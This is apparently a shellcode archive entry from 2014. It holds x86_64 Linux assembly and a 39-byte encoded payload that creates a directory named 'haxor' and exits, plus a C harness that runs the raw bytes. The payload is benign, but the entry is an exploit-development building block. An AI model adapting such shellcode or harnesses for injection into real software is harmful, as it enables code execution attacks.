linux/x86 mkdir() 'haxor' and exit() Shellcode - 39 bytes



EKU-ID: 4118 CVE: OSVDB-ID:
Author: Osanda Malith Published: 2014-06-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
; Title: mkdir() 'haxor' and exit() Shellcode - 39 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Osanda Malith Jayathissa (@OsandaMalith)
  
section .text
       global _start
  
_start:
  
       jmp call_shellcode
  
shellcode:
  
       pop rsi
       xor rax, rax
       mov al, 0x53
       mov rdi, rsi
       mov si, 0x1ed
       syscall
  
       xor rax, rax
       add rax, 60
       xor rdi, rdi
       syscall
  
call_shellcode:
  
       call shellcode
       text: db 0x68, 0x61, 0x78, 0x6f, 0x72
*/
#include <stdio.h>
#include <string.h>
  
unsigned char code[] =  "\xeb\x1b\x5e\x48\x31\xc0\xb0\x53"
"\x48\x89\xf7\x66\xbe\xed\x01\x0f"
"\x05\x48\x31\xc0\x48\x83\xc0\x3c"
"\x48\x31\xff\x0f\x05\xe8\xe0\xff"
"\xff\xff\x68\x61\x78\x6f\x72";
  
int
main() {
  
printf("Shellcode Length:  %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
  
return 0;
}